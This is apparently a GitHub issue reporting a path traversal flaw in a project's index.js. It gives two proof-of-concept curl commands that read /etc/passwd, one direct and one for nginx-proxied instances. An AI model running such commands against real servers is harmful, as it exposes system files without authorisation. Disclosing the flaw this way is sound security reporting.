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path traversal vulnerability #67

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kdxcxs opened this issue Feb 10, 2023 · 1 comment
Open

path traversal vulnerability #67

kdxcxs opened this issue Feb 10, 2023 · 1 comment

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@kdxcxs
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kdxcxs commented Feb 10, 2023

There is no path traversal chek in index.js when sending local files, so it's possible to read any file by path traversal.

poc: curl --path-as-is http://siteproxy.your.domain.name/../../../etc/passwd

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@kdxcxs
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kdxcxs commented Feb 10, 2023

For instances proxied by nginx:

curl --path-as-is http://siteproxy/\?/../../../../../etc/passwd

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